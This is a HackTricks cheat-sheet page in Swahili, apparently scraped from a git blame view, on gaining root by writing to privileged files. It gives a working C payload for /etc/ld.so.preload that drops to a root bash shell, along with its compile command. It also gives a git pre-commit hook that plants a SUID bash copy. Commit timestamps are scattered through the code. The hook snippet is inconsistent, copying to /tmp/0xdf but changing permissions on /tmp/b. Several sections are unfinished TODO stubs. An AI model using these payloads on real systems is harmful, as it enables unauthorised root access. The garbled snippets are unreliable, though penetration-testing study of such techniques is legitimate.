hacktricks/linux-hardening/privilege-escalation/write-to-root.md

59 lines
2.7 KiB
Markdown
Raw Normal View History

# Kuandika Faili ya Kiholela kwa Root
2022-09-22 23:27:50 +00:00
<details>
<summary><strong>Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
2022-09-22 23:27:50 +00:00
2024-02-11 02:13:58 +00:00
Njia nyingine za kusaidia HackTricks:
2024-02-02 12:27:26 +00:00
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
2022-09-22 23:27:50 +00:00
</details>
### /etc/ld.so.preload
Faili hii inajitokeza kama **`LD_PRELOAD`** mazingira ya env lakini pia inafanya kazi kwenye **binari za SUID**.\
Ikiwa unaweza kuunda au kuhariri, unaweza tu kuongeza **njia ya maktaba itakayopakiwa** na kila binari inayotekelezwa.
2022-09-22 23:27:50 +00:00
2024-02-11 02:13:58 +00:00
Kwa mfano: `echo "/tmp/pe.so" > /etc/ld.so.preload`
2022-09-22 23:27:50 +00:00
```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
2024-02-11 02:13:58 +00:00
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
2022-09-22 23:27:50 +00:00
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Kanzu za Git
2022-09-22 23:27:50 +00:00
[Kanzu za Git](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) ni **maandishi** ambayo hutekelezwa katika matukio mbalimbali katika hazina ya git kama vile wakati wa kufanya commit, kufanya merge... Kwa hivyo, ikiwa **script au mtumiaji mwenye mamlaka** anafanya vitendo hivi mara kwa mara na ni rahisi **kuandika katika folda ya `.git`**, hii inaweza kutumika kwa **privesc**.
Kwa mfano, Inawezekana **kuunda script** katika hazina ya git katika **`.git/hooks`** ili iweze kutekelezwa daima wakati commit mpya inapotengenezwa:
{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Faili za Cron & Wakati
TODO
2022-09-22 23:27:50 +00:00
### Faili za Huduma & Soketi
2022-09-22 23:27:50 +00:00
TODO
2024-02-02 12:27:26 +00:00
### binfmt\_misc
2022-09-22 23:27:50 +00:00
Faili iliyoko katika `/proc/sys/fs/binfmt_misc` inaonyesha ni binary gani inapaswa kutekeleza aina gani ya faili. TODO: angalia mahitaji ya kutumia hii kutekeleza rev shell wakati aina ya kawaida ya faili inafunguliwa.